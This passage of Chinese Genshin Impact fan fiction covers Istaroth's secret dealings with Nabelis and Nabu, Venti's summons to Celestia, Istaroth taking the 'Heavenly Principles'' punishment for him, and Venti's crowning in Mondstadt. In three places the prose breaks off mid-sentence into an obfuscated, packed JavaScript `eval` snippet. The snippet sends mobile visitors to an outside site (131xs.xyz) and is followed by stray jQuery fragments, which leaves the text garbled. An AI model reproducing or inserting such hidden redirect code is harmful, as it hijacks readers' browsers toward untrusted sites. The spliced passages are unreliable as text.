“算了,你们向来如此,自己有分寸就好。”
于是,伊斯塔露也站起身,向若娜瓦点了点头:
“那再会,若娜瓦。”
离开这个子空间后,伊斯塔露却也没有回到提瓦特,她顺着纳贝里士留给她的线索,摸索着来到了「生之执政」创造的子空间。
里面同样是无垠星海和金色长阶。
纳贝里士坐在金阶边,好整以暇地看着她:
“真慢啊,伊斯塔露,等你好久了。”
“下次别对着我一直眨眼了。”
伊斯塔露摁着太阳穴,提醒道。
“刚才若娜瓦和阿斯莫代还在看着。”
“嗯哼,可阿斯莫代才懒得管我们,若娜瓦刚被惩戒,也没心情多管闲事。”
纳贝里士不以为意地耸了耸肩,又玩笑般笑道:
“话说回来,过去了将近四百年,你现在可比我上次见到你的时候,像‘伊斯塔露’多了。”
伊斯塔露并不买账,她淡淡地瞥视着言笑晏晏的纳贝里士。
“啊,不过是我有没有记忆的区别而已。同一个人,谈得上像不像吗?”
“那还是有很大区别的,不同的经历会塑造不同的人。”
纳贝里士敛起笑意,食指压着单边眼镜的镜框,与百年未见的旧识相对而望,目光幽深。
“说不准和人类相处久了,你真的会叛变呢?”
犹如调笑般的试探声在空旷的星海中不断回响,荡起涟漪。
“与其质疑我,不如先管好你的厄歌莉娅。”
即使内心忐忑,伊斯塔露仍然神色如常。
“「天理」要清算僭越与背叛,也是拿她开刀。”
她仅有数百年阅历,不知能否在纳贝里士面前毫无纰漏。
所幸,纳贝里士闻言,便意兴阑珊地挥了挥手:
“罢了,言归正传,七神座本该有一个是沙漠那个白发小伙的吧,最后却变成了叫布耶尔白发小姑娘。”
“伊斯塔露,看来你、我和玛丽卡塔的计划很成功哦?”
听见阿赫玛尔被提起,伊斯塔露的眸光一动,但下一瞬,她便压下了这不该在纳贝里士面前显露的情绪:
“嗯,如你所愿,我当年触碰了禁忌知识,也就是「天理」讳莫如深的「深渊」。”
这个概念,同样是伊斯塔露从当年禁忌知识的洋流中查阅到的。
世界之外的「深渊」,它不断侵蚀这个名为“提瓦特”的世界,其在沙漠地带的表现就是“禁忌知识”。
纳贝里士颇为满意地点头:
“好,那就根据我们四百年前密谈时说好的那样……”
“伊斯塔露,分享一下吧,你当年从「深渊」里读出了什么?”
伊斯塔露抬眼便对上纳贝里士捉摸不透的笑容。
而那将近四百年前的记忆洗去了时间的尘埃,在伊斯塔露脑海中重新清晰起来。
那是任何史书都不会记载的,属于花神、时之执政和生之执政的一场密谈。
事关此后「尘世七执政」中的草神、水神和风神。
48.人间一梦(四十八)
那是娜布用生命打开禁忌知识通道之前的事。
彼时温迪刚被伊斯塔露创造出来,娜布还没有同意阿赫玛尔触碰深渊的计划。
而伊斯塔露收到了来自娜布的、前往苗圃的邀约。
到达开满睡莲的绿洲时,伊斯塔露没有看见娜布。
却见一名身着白衣的神女半倚在木制长椅上,抬手轻轻拨开了一只镇灵,然后抬眼看她:
“让我好等啊,‘伊斯塔露’……哦,在这里或许应该叫你卡伊洛斯?”
她甚至特意咬重了“伊斯塔露”几个字,语气颇为玩味。
这是「生之执政」,纳贝里士。
伊斯塔露当时刚被“审问”不久,见到这位被评价为“爱闹事”的同事,下意识蹙起了眉。
是纳贝里士看出了什么,要找她清算了吗?
“……我与你没有约定,纳贝里士。”
伊斯塔露端起了记忆里「时之执政」的态度,语气平淡地把皮球踢回给纳贝里士。
“噢,当然没有。”
纳贝里士好笑地看着眼前的人,随手拈了一颗果子把玩。
“约了你和我的是玛丽卡塔啊。”
伊斯塔露挑起了眉。
玛丽卡塔,是花神娜布的姓氏。
像是言出法随,下一刻,娜布便在镇灵的簇拥下款款走来,向对峙的二人躬身行礼:
“娜布有幸,得见「时之执政」大人,和「生之执政」大人。”
在纳贝里士意味深长的视线中,娜布又单独向伊斯塔露躬身:
“抱歉,卡伊洛斯大人,自作主张邀您前来。”
“比起表达情绪,”伊斯塔露审视的目光在娜布和纳贝里士身上逡巡,“我更想知道你们想做什么。”
“「天理」的影子,曾经的‘天使’……能让我们因此相聚的,不是很好猜嘛?”
纳贝里士轻笑一声,将右眼的镜框推高了些。
“禁忌知识,深渊,无非就这些。”
不待伊斯塔露回答,纳贝里士又状似威胁一般,盯着她的双眼,笑道:
“而且伊斯……卡伊洛斯,你也不想被「死」和「空」知道,你已经失忆了吧?”
纳贝里士还是没有在娜布面前报出伊斯塔露的真名。
“小心因为一无所知而变成我们四人里的背锅侠哦,有什么事安在你头上就好了。”
“我是失忆,不是变傻。”
伊斯塔露对这样的威胁恍若未闻。
如果真的没有转圜余地,这位「生之执政」也就不会站在她面前了。
“可惜,原本还想诈你玩玩。”
但在纳贝里士的笑容中却看不出可惜的意思。
“但你还是欠了我人情,记得还哦。”
在伊斯塔露略有提防的视线中,纳贝里士依旧轻松又狡黠地笑着。
“你和曾经的自己只像了个表面——无情如她,看什么都差不多,你身上人的感觉太重咯。”
“「死」也看出你的不对劲了,她本来想上报的,却被我阻止了。”
纳贝里士思索片刻,还是为她的好同事辩解了一句:
“老实说,「死」也没什么坏心思,虽然她不在意谁是「时之执政」,但要是你捅的篓子太大,我们也有可能连坐的。”
伊斯塔露冷静客观地指出了事实:
“如果你说的没什么坏心思是指四个人都在干预世界,而你们寻思着背后捅我一刀。”
她这几位“好同事”,背刺型、闹事型、找不到人型,一应俱全。
纳贝里士倒是毫无负担地摊了摊手。
“哈哈,何必认真呢?而且不要带上我啊,我帮你说服她了。”
“为什么帮你?还教你创生?那当然是有求于你了。”
“这件事也与我有关。”
在纳贝里士停顿时,娜布恰到好处地接过了话头。
“我想打开禁忌知识的通道,向人类证明神也会犯错;是「生之执政」大人找的我,她说她想借「深渊」的倒映,看清高天王座上的祂。”
“但我本人不是很想去那鬼地方。”
纳贝里士应和着娜布的说法。
“也就查个资料的事,「深渊」在这里的表现形式刚好就是禁忌知识——所以卡伊洛斯,你代劳吧?”
“……我拒绝。”
确实,纳贝里士的请求不算麻烦,但伊斯塔露不打算被她三言两语拿捏。
“这种事情对我毫无意义,我们之前有两肋插刀的情分吗?”
伊斯塔露哪怕只有几个月的阅历,但也不傻。
这次轻易答应纳贝里士,或许下次她还会变本加厉。
“怎么会呢?怎么就对你没有意义了?”
纳贝里士开始絮絮叨叨,却也对“情分”闭口不谈。
“你不想知道追杀你数千年的「天理」究竟是个什么东西吗?”
“不是很想。”
伊斯塔露在转圜余地里和纳贝里士拉锯。
纳贝里士像是无可奈何,她终于长叹一声,松了口:
“别这样,你敢说你以后用不着我吗?”
伊斯塔露这才满意地呼出一口气,似笑非笑地看了一眼纳贝里士:
“好啊,记住这句话。”
“唉,不管有没有记忆,你都挺烦的。”
纳贝里士幽幽盯了伊斯塔露片刻,又将视线落在娜布身上。
“玛丽卡塔你也挺有意思的,为什么要向人类证明什么?神再怎么犯错也并非人类可比。”
娜布敛起眉眼,恭敬地回答纳贝里士,话语却没有丝毫的退让:
“我认为并非如此,「生之执政」大人,人类或许并不需要神明。”
“高看人类了,又不是人人都是那个纳塔人。”
纳贝里士轻嗤一声,眼中再度涌起兴味。
“都到你这个身份了,居然还会相信本就有劣根性的人类?不然这样吧,我们来打个赌如何?”
“您请说。”
娜布甚至分毫不让。
“不如我们看看未来的世界吧,看看那些弱小的人类,能不能离开神明的保护?”
纳贝里士抬起下巴,向伊斯塔露示意。
“欸,卡伊洛斯,时间的三态都在你眼中,不如带我们看看未来?”
伊斯塔露闭上眼,毫不犹豫地回绝了跃跃欲试的同事。
“……我不是算命的,要算也是另外的价格。”
“行啊,什么价格都算我的。”
纳贝里士又眨了眨眼,嗤笑一声。
“哦,不过算赊账。”
“……希望我以后用得到你的时候,你别推辞。”
伊斯塔露叹了口气,睁开了眼,眼中闪过六枚时刻刻度。
随后,法阵骤起,带着娜布和纳贝里士,和伊斯塔露本人进入了时间的洪流。
“虽然失忆了,但你对权能的运用倒是没什么区别。”
纳贝里士意有所指地感叹着,开始左顾右盼,寻找她的娜布的赌约答案。
在一望无际的时间轴中,三人看见了无神统御的自由城邦、完全人治的繁荣海
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170281|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
港,再往后的,就是被记录却还无法读取的久远未来了。
但正如娜布所说,失去神明的人治城邦,也没有被任何灾厄阻拦脚步。
“好吧,出乎意料。”
回到现实后,纳贝里士悻悻地弹了一下手边的镇灵。
“那把厄歌莉娅送给你们当棋子吧。”
伊斯塔露斜睨了一眼似乎陷入沉思的同事:
“你看生灵都与死物无异吗,「生之执政」?”
“不,只是厄歌莉娅太特殊了。”
纳贝里士敛起了笑容,她似乎还迟疑了一下。
“她被创造出来就是为了阻止水龙王重生,却有着过于丰沛的情感……算了,和你们说这个做什么。”
“和卡伊洛斯进入时间轴的时候,我还看见了两千多年后的未来,到时候你们用得到厄歌莉娅的。”
“就这样吧。”
纳贝里士好像失去了兴致,她从木椅上起身,兴味索然地转身离开。
与伊斯塔露擦肩而过时,纳贝里士才向她低语出了自己想要知道的禁忌:
“伊斯塔露,我对「天理」现在还是不是法涅斯的事抱有怀疑,代我去看看吧。”
纳贝里士那如天方夜谭般的猜测让伊斯塔露都忍不住蹙起了眉。
原初之人法涅斯,这个世界的第一位“王座”,被称为「天理」,也就是她和纳贝里士的本体。
纳贝里士却怀疑祂已经被人悄无声息地取而代之了?
.
思绪回到四百年后的现在,伊斯塔露迎着纳贝里士势在必得的笑容,不急不缓地点头。
“嗯,如你所料。”
“至少和法涅斯僵持不下的「深渊」,是这样告诉我的。”
猜想得到证实,纳贝里士满意地哼笑一声,眉眼中锋芒骤起:
“啊哈,果然如此。”
她抬手支着下巴,又饶有兴趣地望着对面的伊斯塔露:
“说起来,你失忆这件事也是挺有意思的。”
“同样的生命,在不同的经历下成为完全不同的模样,却又在某种特质上趋于统一。”
又是这种审视和剖析的视线。
伊斯塔露叹了口气,将目光移开:
“……纳贝里士,如果你还是喜欢被我吐槽的感觉,也不是不可以满足你。”
“哦,这就不必了。”
纳贝里士从金阶上站起身,向伊斯塔露摆摆手。
“时间差不多了,下次再聊吧。”
“嗯?什么时间?”
伊斯塔露的视线跟随着对面的人。
“你不知道?……哦对,你失忆了,不知道这事。”
纳贝里士弯起唇,等卖足了关子,她才在伊斯塔露无语的目光中缓缓开口。
“天空岛会召唤魔神战争选出的「尘世七执政」,为那七个魔神授勋,而这七位选出来是做什么的,你很清楚。”
“「天理」既要那七人镇守尘世一方,也要逐渐吸干他们的血肉与神魂,化作祂构建世界的基石。”
纳贝里士慢悠悠地走上了金阶尽头,漫不经心地开始长吁短叹:
“我才把厄歌莉娅推上去,还不希望她那么快被「天理」吸干。”
在离开这个空间前,纳贝里士侧头回望,留给伊斯塔露一点略带怜悯的目光:
“你也注意着点吧,论行径你也不比若娜瓦收敛多少,说不准「天理」会先给你一个下马威哦?”
“而且你家小风精灵是唯一一个莫名其妙获得魔神之格的,说不准会被拿去开刀。”
49.人间一梦(四十九)
“……拿温迪开刀吗?”
等纳贝里士离开后,伊斯塔露才站起身,望着辽阔无垠又空旷无物的星海,喃喃自语道。
她已经放弃了不牵扯温迪的想法。
由「生之执政」指导创造、拥有「时之执政」权能、获得魔神之格的风精灵,有这诸般前提,温迪不可能置身事外。
更何况她也将转机押在了他身上。
而比牵扯入局更麻烦的是,就像温迪说的,他会把伊斯塔露的愿望也当成自己的。
然后甘愿以身入局。
所谓利用也好,交易也罢,至少有利己的天性可循。
而她对温迪那点多余的关心,和温迪对她依赖的情感,都是与天性相悖的、纠缠不清的东西。
所以她才觉得感情这种事很麻烦,也不是很喜欢自来熟的人啊,伊斯塔露叹息着摇头。
.
知道伊斯塔露消失的下一刻,温迪就收到了来自天空岛的召唤。
没有信函,也没有使者,那句召唤直接出现在了他的脑海中。
「魔神战争的胜利者、魔神之格的获得者——巴巴托斯,你将成为尘世七执政之一,获赠风之大权」
「请登上天空岛,领受此勋」
安德留斯死前也和他提起过的,他会成为这片地区最后的魔神战争胜利者。
但温迪也没有过“巴巴托斯”这个名字,他觉得这名字像是派发给他的工位。
温迪不想成为什么“执政”,可脑海中的召唤却带着难以忽视的威严,让人直觉抗拒将会付出巨大代价。
于是温迪不动声色地在心里应下。
可是该如何到达天空岛呢?
一行文字适时地出现在他的脑海中。
「前往东南方湖心岛的中央,通往天空的道路,从那里开启」
温迪犹豫片刻,和莱艮芬德告别,从为获得自由而喧闹的人群中悄无声息地走出去。
随后,他展开羽翼,飞向了湖心岛。
岛屿中心镶有一块白石地砖,上面雕刻的文字被岁月侵蚀,但仍能勉强看清内容——“通往天空岛的大门”。
“天空岛吗……”
温迪喃喃着,复述了一遍雕刻的文字,抬脚踏上了石板。
疾风骤起,形成直达天边的巨大风场,抬着温迪升入高天。
温迪若有所思地看着自己的手。
这里的风连他也无法控制。
随后,眼前一白。
等眼前景象再度清晰起来时,他看见了巨大的西洋棋棋盘与散落在上的巨型棋子,再往远处则是一片空濛。
在温迪前面还有形貌各异的六人,其中五人各自站在一枚棋子边,那些棋子上分别雕刻着「契约」「智慧」等字样。
唯有一名青年身边没有巨型棋子——但他把玩在手中的红色棋子,看上去和其他巨型棋同是一套。
这些人想来也是和他一样,是应邀被授勋的「尘世七执政」之一,温迪暗自思忖。
随后,温迪找到了仅有的无人的棋子,靠着棋子向你自己最近的人打招呼:
“欸,你好啊,我是巴巴托斯。”
他还是决定谨慎一点,先报的工位名。
旁边那人闻言,侧过头,向他微微颔首。
“嗯,幸会,我名摩拉克斯。”
这人周身都透着一股板正严肃的气息,哪怕已经有了敛起锋芒的温文气,却还是不能掩盖那双眼睛中透出的锋利。
温迪总觉得要是惹了这人能被打飞。
他随口和摩拉克斯寒暄着,却又被脑海中的文字打断了思绪。
「风之大权的获得者——巴巴托斯,请说出你统治人类的核心」
「这将会被刻入神之心,永世伴随你的子民」
统治理念?戴冠?温迪没觉得自己想要这些,蒙德人不需要再被什么永世纠缠了。
于是他思索片刻后,用轻快的语调将「自由」二字赋予神之心。
“好啦。”
他要给所有人永世的自由。
温迪的理念被刻入身边巨型棋子的瞬间,雌雄莫辨的声音从天边响起,荡起回音:
「至此,天空岛授予胜者六人尘世的权柄,与已受勋者希巴拉克一同,获赠名为神之心的器物」
「你等将成为尘世的七位执政,以信仰为力量来源,镇守一方,指引人类」
话音刚落,巨型棋子都逐渐缩小,变成了正常大小,却不由分说地融入了每位执政体内。
虽然没有感觉到任何异样,但温迪并不喜欢这种高高在上的赠予。
但他还没有来得及纠结这件事。
下一刻,它就看见一群自称“天使”的斗篷人从远处蜂拥而至,看不清面容的它们嘴里喊着“各位稍等,王座将至”,随后把七位新神团团包围。
可包括他在内,在场七人几乎没有什么神色变化。
也是,温迪轻轻哂笑,哪能没有点心理准备呢?毕竟要面对的是挑起纷争的始作俑者。
这些“天使”嘴里念叨着“”“”“”,用没有五官的脸对着七位执政,温迪莫名从这样的目光中察觉出一丝阴冷。
摩拉克斯似乎也感觉到了,他那双灿若荒星的眼眸将“天使”一一扫过。
阴冷感似乎轻了一些。
还没等温迪舒一口气,便看见黑红色的四芒星出现在不远处,不久后,一名同样身披斗篷、遮挡面容的人从中匆匆走出:
“这是做什么?”
“我们奉命行事……”
那些“天使”踌躇片刻,刚想开口,又被斗篷人抬手打断。
“没问你们,别吵。”
随后,斗篷人走到棋盘上,拉起了一名紫衣女子的手:
“巴尔,和我走。”
紫衣女子似乎笑着安慰了斗篷人两句,便随着她毫无阻拦地离开了这里。
那些“天使”定定地看着斗篷人拉走了巴尔,并没有出声阻止。
温迪无端想起了伊斯塔露说过的“走后门”,在这样诡异的气氛中,他莫名有些想笑。
随后,又是一名斗篷人。
那人不急不缓地从远方走来,那人冲着这些“天使”微微颔首,又看向最开始在把玩棋子的青年:
“随我走吧,至此,我也算仁至义尽。”
青年似乎问了斗篷人一句,能不能把其他人一起带走。
斗篷人似乎气得顿了顿,拒绝了他的得寸进尺,便带着青年离开了。
在温迪意料之中的,不久,又是一名斗篷人现身。
她没有前面两个那么大张旗鼓,只是悄无声息地出现,然后向五人中的一名少女勾了勾手:
“来,跟我走吧。”
“天使”们也没有阻拦。
不久后,它们甚至又自发放行了一位白发白裙的女子,并且称她为“世界树”。
现在只剩下温迪、摩拉克斯和一个穿着绒边大斗篷、挡着面容的人。
摩拉克斯若有所思地看
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191895|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着无脸的“天使”,忽然开口:
“可否为我引见?我与祂之间,有契约可以成立。”
那些“天使”怔了怔,随后开始互相推搡,好不容易才推出一个家伙,领着摩拉克斯往另一个方向去了。
绒边大斗篷似乎冷嗤了一声,随后,他拉过其中一个无脸“天使”,耳语了几句。
明明那些“天使”没有脸庞,但温迪莫名从中读出了惊讶和忌惮。
最后,“天使”深深地看了温迪一眼,便含混不清地挥手将绒边大斗篷也放行了。
所有人都陆续离开,只有温迪还站在原地,接受着“天使”们虎视眈眈的注视。
唉,原来没有一点后门的是他啊。
温迪佯装无奈地叹了口气,这情况也由不得他选。
随后,其中一名“天使”朝他躬身致意,声音嘶哑而古怪:
“巴巴托斯,请跟我们走。”
“欸?好吧好吧。”
温迪从善如流,推开椅子站起身。
“我可以自己走吗?”
可“天使”们没有回答他,它们一拥而上,从身后不断推搡着温迪前进。
温迪清楚,这个天空岛不对劲,他得想个办法逃离这里。
“天使”们将温迪推到了一片星海中。
在他的不远处,有一名周身散发着白光的人正背对着他。
不过这白光略闪,闪到温迪几乎看不清那人的具体模样。
随着那人的微微抬手,“天使”们有序地退下。
「我乃此世之「天理」」
「过来吧,巴巴托斯」
雌雄莫辨的声音在星海中回荡。
明明这句话不像是从口中发出的,但温迪确信,这句话就是眼前的家伙说出的。
“哦?好啊。”
温迪也不反抗祂,从善如流地走到了那人身后,在合适的距离停下脚步,等待着这位的下一个谕令。
那家伙果然开口了。
「你可知,此世星空,皆是虚妄?」
温迪也遂那人所愿地接了话:
“欸?为什么说星空是虚假的?”
「星空是我封闭世界的幕布,地脉是我运转世界的桥梁,没有任何东西可以侵入」
「人类不可窥探天机,不可超越神明,凡如此者,都该格杀勿论」
「星空与大地都不会回应,因为它们是我观测世界的眼睛」
温迪连连点头,算是给这位「天理」捧场。
但他一不算人,二不算纯正魔神,于情于理都不该和他讲这些,除非……
温迪的眸光一暗。
果然,「天理」的视线落在了他身上:
「维持星空与大地需要鲜活的生命力,你们七位魔神战争的胜者正是为此而诞生」
「你,巴巴托斯,获得了来自古龙之权的风之神,正是这一次最好的补品」
温迪听懂了,「天理」想把他吃了。
所以之前有“后台”的其他几位执政逃过一劫,只有温迪会被……
“且慢。”
温迪没想到自己还能在天空岛听到熟悉无比的声音。
他与「天理」同时回头。
这是温迪第二次见到这样的伊斯塔露。
她披着遮挡了大半面容的白色斗篷,向「天理」躬身行礼,阴影下的眉眼看起来淡漠无情,和之前身着华府冠冕时一样:
“伊斯塔露向您致意,我的「主人」,我的本体。”
50.人间一梦(五十)
「天理」没有应答,祂沉默地审视着自己的影子。
于是伊斯塔露便保持半跪在地的姿势,没有移动一分一毫。
直到「天理」索然无味地抬了抬手,伊斯塔露才敢起身,随后,她却向前两步,横在了温迪和祂面前。
「天理」停下了脚步,祂的声音也终于是从口中吐出:
“「时间」,你妄图阻止我?”
伊斯塔露便恭敬地退开了:
“我无意如此。”
……按照伊斯塔露什么都不在意的性格,这么做也不算意外吧?
温迪轻轻地叹了一口气,他本想望向伊斯塔露,却忽然颤抖了一下,随后,他的手不受控制地扼住了自己的咽喉。
那白皙修长的十指死死地掐着温迪的喉咙,在巨大的窒息感中,温迪绝望地望着前方。
「天理」冷眼看他,伊斯塔露也只是缄默不语。
温迪的视线很快模糊不清,这时,他却看见伊斯塔露再一次挡在了自己面前,轻飘飘地向「天理」开口:
“您若是杀死了他,就拿不到完整的「时间」权能了啊。”
话音刚落,「天理」审视的目光就再次落在了伊斯塔露身上,仿佛要把她洞穿。
伊斯塔露却对这样的目光视若无睹,语气听起来平淡又闲散。
随后,控制温迪的力量骤然消失,少年跪倒在地,大口大口地喘着气。
“「时间」的权能有一半在巴巴托斯身上,若是我和他其中一人死亡,不完整的权能只会破碎消散。”
从分出权能开始,伊斯塔露等的就是这一刻。
对抗龙王时,法涅斯分出代表四种权能的四影,但不意味着祂本身无法掌握这四种权能,否则便有些舍本逐末了。
所以照理来说,伊斯塔露的威胁对法涅斯毫无作用。
而现在这个「天理」,却真的停了手。
以身入局,这还是伊斯塔露和娜布学的。
四百年前那场密谈,她看得清楚,怀有野心的远远不止纳贝里士,还有娜布。
“我赌阿赫玛尔会为苍生剑指高天,赌布耶尔会消除灾厄,而我将以身死证明神的谬误。”
“他们是我最爱的挚友,也是我最锋利的刀刃。”
“卡伊洛斯大人,您于我有恩,唯有您不入我局。”
而她和娜布最大的不同的是——
温迪看见疏淡如琉璃的神女忽然转过身,向自己伸出手,合上了自己的双眼,她兜帽下的笑容温柔又浅淡。
“天空岛的一切只是一场梦,等梦醒了,你还在开满塞西莉娅的山崖上。”
温迪看见伊斯塔露用唇语无声地向他告别:
“再见,温迪。”
见证过阿赫玛尔的死亡,伊斯塔露不打算再让谁成为刀刃。
她只需要一点仿若清风的转机,不需要替她见血的刀锋。
可温迪不想告别。
他还没有问伊斯塔露为什么会出现在这里,没有问她要怎么应付这个家伙,也没有问伊斯塔露为何不辞而别……
“既然如此,便用你的生命代他偿还吧。”
但温迪闭眼之前,只听见这样一句宣判。
随即,他看见伊斯塔露的斗篷兜帽被扯下,她被没有形貌的「天理」扼住了喉咙。
如浮游泡沫一般的白色能量从伊斯塔露身上逸出,飘移到了「天理」体内。
不要,不要……
温迪徒劳地想伸出手,眼皮却不受控制地合上了。
再度睁眼时,温迪看见了高崖、星空和手边的塞西莉娅,清风掠过他的发丝,一切宁和如初。
就像伊斯塔露说的那样。
天空岛的一切,像是一场虚妄的梦。
可温迪能感受到体内流转的、属于「神之心」的力量。
少年轻轻叹了一声,抚摸着手边的纯白花朵,神色怅然。
“伊斯塔露,我还会见到你吗?”
.
天空岛。
不知过了多久。
被「天理」吸取了许多生命力的神女终于颤抖着从地上支起身子,她的白发散落在地,看上去无比狼狈。
“唔,「天理」么……”
伊斯塔露半跪在地,颤颤巍巍地伸手擦去了嘴角的血迹,却勾起了嘴角。
“你果然不是法涅斯啊,生命如强弩之末一般的家伙。”
纳贝里士的猜想得到了验证。
伊斯塔露没有再多做评价,过了许久,她才有力气站起身,马不停蹄地离开了天空岛。
重新回到提瓦特的土地上,伊斯塔露再次打开那本神秘声音留下的笔记,翻到最后一页。
书页上原本的污渍已经消失,清晰的字迹触目惊心。
「法涅斯已经“死”在如今的「天理」手中」
「一二王座大战之后,月亮将‘太阳’取而代之,成为新的规则,却仍借太阳的光普照世间」
「太阳蜕变成胎儿,落入人间,将在两千六百年后现世」
伊斯塔露沉吟片刻。
「月亮」是指如今在位的假天理,那么「太阳」呢?是指法涅斯吗?
也是,伊斯塔露叹气,要是法涅斯死了,她们四执政作为祂的影子,也不大可能还活得好好的。
如今她的目的就是找到能和「月亮」抗衡的力量,且行且看吧。
伊斯塔露收起笔记,转身回望湖心岛上初具规模的聚落——名为“蒙德”的城邦。
她在刚才听见了过路人的议论,在冰雪消散的那一刻,每个人的耳中都听到了男女莫辨的声音。
声音说,先前那场旷古的战争所留下的七位胜利者,将成为对应地区的神明,而统领蒙德的风神巴巴托斯,正是之前推翻高塔孤王的风精灵。
事实上,无论是「天理」的意思,还是蒙德人的想法,风神是温迪这件事都无可置疑。
伊斯塔露也听说,明天是蒙德人庆祝高□□塌的节日——风花节。
他们用这个名字纪念高塔中人共约反抗的暗语“风之花”。
明天的风花节也是蒙德人为他们的风神加冕之日。
古恩希尔德家族的领头人将会在蒙德城中为风神戴冠。
伊斯塔露踌躇片刻,还是向着这座城邦走去。
等看完夏洛特为温迪加冕,她就离开这里,去那个据说定名为“稻妻”的岛国。
.
翌日,蒙德城。
蒙德城的风花节比伊斯塔露想得要热闹,缎带挂满了整个城邦,来往行人面上都带着喜色。
伊斯塔露披着白色的斗篷,混在人群中,随手拍了拍路边东张西望的年轻人:
“你好,我看好多人在往前面走,能问问是为什么吗?”
伊斯塔露指了指前方高处的广场。
被她拍肩膀的金发青年回过头,在看见伊斯塔露的瞬间,他眼中闪过无法掩饰的惊艳,人便愣在了原地。
片刻后,他才不好意思地摸了摸后脑勺:
“不好意思,刚才有些走神。姑娘,看你的容貌是外乡人吧?”
伊斯塔露迟疑着点了点头。
青年倒是颇为热情地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16204997|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笑了,目光顺着她手指的方向望去:
“我叫利伯哈特,欢迎你啊!你来得可太是时候了,我们正好在庆祝新的城邦建立,还要派出代表为我们的神明大人戴冠!”
“喏,戴冠的仪式就在你手指着的广场上举行,所以大家才赶着去呢。”
见伊斯塔露若有所思地点点头,利伯哈特又热忱地发出了邀请:
“恰好我也要去围观,我们一起去吧?”
“啊,好,谢谢你。”
伊斯塔露没有拒绝,她向利伯哈特礼貌地点了点头,没看见他的脸色又红了些。
利伯哈特颇为绅士地在人潮中为伊斯塔露开路,但等到二人到达广场上时,正中央已经被围得水泄不通,根本看不清中间的人。
见状,利伯哈特有些丧气地耷拉下脑袋:
“抱歉啊,姑娘,我应该快些带你来的,现在我们什么也看不到了。”
“没关系,利伯哈特,很感谢你。”
伊斯塔露无所谓地摇了摇头。
她一点都不好奇风神是什么样子,毕竟她太熟悉温迪了。
她来这里算是私心,只是想见证温迪加冕的时刻。
忽然,靠近广场中央的人群骚动起来。
原来人们这时才看清楚,被包围在中央的只有伊斯塔露曾见过的那位夏洛特小姐,而风神并不在其中。
随后,一阵清风倏然而来,飞鸟衔枝掠过。
“久等啦。”
弦音在高空流转,初至的风神身着白衣,收起背后的羽翼,从天而降。
“你们好啊。”
人群的氛围一下被点燃,大家欢呼着看见风神巴巴托斯落在夏洛特身边,向她微微低头。
“巴巴托斯大人,作为古恩希尔德家族的传人,夏洛特有幸见证这历史性的一幕。”
夏洛特向少年模样的风神行了一个标准的贵族礼。
随后,她抬起手,将早已准备好的“冠冕”戴在风神头顶——那不是金玉做成的王冠,而是采撷这片地域上每一种花做成的花环。
正如温迪所说,蒙德人不需要新的统治者。
所以风神所戴的“冠冕”也代表敬爱而非权力。
热烈的欢呼声和掌声霎时爆发,缎带在风中飘扬,无数鲜花被掷向温柔的风神。
“真好啊。”
见到此情此景,伊斯塔露笑了,由衷地感叹了一句。
在她扬起嘴角的时候,身边欢呼的利伯哈特转过头,目不转睛地盯着她,脸颊绯红。
伊斯塔露熟悉这种目光。
当初在沙漠的时候,伊斯塔露记得,见过娜布真容的男性,几乎都会露出这种表情。
只是她没想到自己有一天也会遇到这种事。
但这种对美貌的爱慕脆弱不堪,她只会一笑置之。
何况她马上就要离开这里前往稻妻了,趁着温迪还没有发现她的时候。
但伊斯塔露没想到,其实温迪早就看到了她,就在她出现在广场上的那一刻。
温迪也看见了为她引路的青年时不时脸红地看着她,到后面甚至毫不掩饰对她的爱慕。
温迪有些纠结地蹙起了眉。
伊斯塔露很漂亮,他一直都知道,但是在之前的战争和博弈中,她的美貌反而并不令人重视。
现在看见有人因为容貌对她一见钟情,即使知道这无可厚非,但温迪还是觉得这让人……挺不习惯的?
温迪无奈地叹了口气。
随后,广场上的所有蒙德人都看见,新加冕的风神毫不犹豫地向着一个方向走去。
51.人间一梦(五十一)
人群纷纷让开,温迪眼前顿时开阔起来。
但广场的边缘空空荡荡,并没有伊斯塔露的身影。
.
广场下的阶梯边,利伯哈特大喘了一口气,追上了步履匆匆的伊斯塔露:
“姑娘,你怎么突然走这么快?风神大人刚才可是朝我们走来了,多难得的好运气呀!”
伊斯塔露摁着太阳穴叹气。
“……我知道啊。”
就是因为温迪走过来了她才离开的啊!
伊斯塔露眼角的余光扫过不远处的广场与人群,确认温迪没有追上来后,她向利伯哈特点头致意:
“谢谢你,我还有事,先走了。”
利伯哈特似乎想要挽留。
“姑娘,不留在城里再逛逛吗?今天城里很热闹的,我可以陪你一起……”
